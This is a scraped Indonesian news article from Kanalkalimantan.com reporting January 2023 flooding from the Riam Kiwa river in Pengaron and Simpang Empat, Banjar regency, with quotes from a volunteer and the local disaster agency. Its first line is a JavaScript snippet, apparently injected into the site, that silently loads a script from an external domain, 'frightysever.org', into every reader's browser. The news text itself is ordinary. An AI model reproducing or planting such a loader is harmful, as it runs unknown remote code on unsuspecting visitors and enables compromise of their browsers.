(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA –
Hujan ekstrem dalam beberapa hari terakhir berimbas pada meluapnya air di bagian hulu Sungai Riam Kiwa dan mengakibatkan sejumlah titik di Kecamatan Pengaron dan Simpang Empat, Kabupaten Banjar tergenang sejak Kamis (26/1/2023) malam.
Genangan air mulai memasuki permukaan jalan sampai masuk ke permukiman warga hingga Jumat (27/1/2023).
Seperti yang terpantau pada pagi Jumat, debit air sudah berada di ketinggian mata kaki orang dewasa. Banjir itu turut menggenangi hampir seluruh jalanan di area Pasar Pengaron.
“Pengaron banjir. Di Pasar Pengaron lumpuh total pagi tadi,” ungkap Riduan salah seorang relawan emergency melaporkan.
Baca juga : Peletakan Batu Pertama Pembangunan Gedung SIT Mutiara Ilmu
Dikatakan Riduan, air perlahan mengalami penurunan pada siang hari sekitar pukul 13.00 Wita, meski tidak signifikan.
Dalam video yang beredar pun terlihat, banjir masih menggenangi jalanan sekitar 30 sentimeter.
“Memasuki siang hari Alhamdulillah banjir di Pengaron mulai surut satu, meski cukup lama turunnya tapi setidaknya siang ini kasih angin segar untuk warga Pengaron,” imbuh dia.
Sebelumnya hujan dengan intensitas tinggi terjadi sejak tiga hari terakhir pada bulan Januari.
Hujan yang deras yang mengguyur wilayah Kalsel, termasuk di Kabupaten Banjar yang hampir terjadi secara merata di berbagai desa.
Baca juga : Hujan Lebat Dua Hari, Permukiman Warga di Bangkal Banjarbaru Terendam Air
Banjir ini pun menjadi hal yang biasa bagi masyarakat Pengaron, lantaran dirasakan hampir setiap tahunnya.
Sementara itu Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar, Warsita turut memantau sejumlah titik lokasi banjir di Kecamatan Simpang Empat, Kabupaten Banjar pada Jumat (27/1/2023).
Adapun Desa lain yang turut terdampak dari luapan Sungai Rian Kiwa adalah Desa Sungai Raya. BPBD mengukur genangan air saat ini berada di ketinggian 50 centimeter.
“Tepatnya di RT 01 Desa Sungai Raya Kecamatan Simpang Empat, air meluap hingga ke jalan dengan tinggi muka air mencapai 50 cm,” ungkap Kalak BPBD Kabupaten Banjar, pada Jumat (27/1/2023).
Pihaknya pun mengharap warga yang berada di wilayah bawah sungai atau hilir untuk waspada dan bersiap kembali jika sewaktu-waktu mendapat kiriman air dari hulu atas.
Baca juga : Satgas Saber Pungli Lamandau Susun Program Kerja 2023
Dalam bersiaga sebelumnya masyarakat dapat mengamankan barang-barang pribadi maupun barang elektronik. Jangan lupa memastikan listrik juga berada di ketinggian yang cukup agar tidak terendam.
BMKG juga memprediksi prakiraan cuaca di wilayah Kabupaten Banjar akan kembali diguyur hujan deras dan bahkan berpetir hingga subuh besok (Sabtu) pukul 04.00 Wita. (Kanalkalimantan.com/wanda)
Reporter : Wanda
Editor : Dhani
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
This website uses cookies.